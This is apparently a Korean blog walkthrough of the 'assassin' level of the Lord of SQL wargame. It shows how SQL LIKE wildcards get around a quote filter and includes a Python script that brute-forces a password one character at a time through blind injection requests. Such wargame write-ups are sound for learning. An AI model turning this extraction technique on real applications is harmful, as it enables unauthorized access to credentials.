'(single quarter)가 필터링이 되어있어서 억지로 'admin'을 만들지도 못하고 이리저리 힘든 문제입니다.
하지만 like에 대한 내용만 잘 알고 있다면 쉽게 풀 수 있는 문제입니다.
LIKE를 사용할 때 보통 '=' 대신 써서 동일한 문자열을 비교하는 용도로 썼지만 그 밖에 '%'와 '_'를 이용한 방법도 있습니다.
'%'는 문자열을 나타내고, '_'는 문자 하나를 나타냅니다.
like 'a%' 는 'a'로 시작되는 모든 문자열을 뜻하고,
like '%a' 는 'a'로 끝나는 모든 문자열을 뜻합니다.
like '_bc' 는 뒤에 두 글자가 'bc'인 모든 문자열을 뜻합니다.
따라서 다음과 같이 '%'만 쓸 경우에는 모든 문자열을 나타내기 때문에 참이 됩니다.
"Hello guest"라고 뜨네요.
또한 '_' 문자열은 문자 하나를 뜻하기 때문에 하나씩 늘려가면서 해보면 pw의 길이를 알 수 있습니다.
8자리에서 "Hello guest"라고 나옵니다.
하지만 엄청나게 많은 '_'를 입력해도 'admin'이라는 문자는 나오지 않습니다.
그렇다면 'guest'와 'admin'의 pw의 길이가 같다고 생각 할 수 있습니다.
하나씩 하기에 무리가 있으니 python 코드를 이용해서 해봅니다.
다음 코드를 이용하면 'guest'의 pw를 알아낼 수 있습니다.
하지만 'admin'의 pw는 알아낼 수 없습니다.
'guest'의 pw의 맨 처음 글자가 '8'인데 '8'을 제외하고 해봐도 나오지 않는 것을 보면
'admin'의 패스워드의 첫 시작도 '8'이라 짐작 할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | import requests cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?' index_list = range(48,58)+range(97,123) password = '' for i in range(1,9): for j in index_list: #query = "pw="+"_"*i query = "pw="+password+chr(j)+"%25" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello guest")>0): password += chr(j) print("password : "+password) break | cs |
그렇게 하나하나 하다 보면 다음처럼 일찍 해결할 수 도 있고, 정확한 pw를 구할 수도 있습니다.
'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글
[LOS] succubus (0) | 2018.10.08 |
---|---|
[LOS] zombie_assassin (0) | 2018.10.08 |
[LOS] giant (0) | 2018.10.07 |
[LOS] bugbear (0) | 2018.10.06 |
[LOS] darkknight (0) | 2018.10.06 |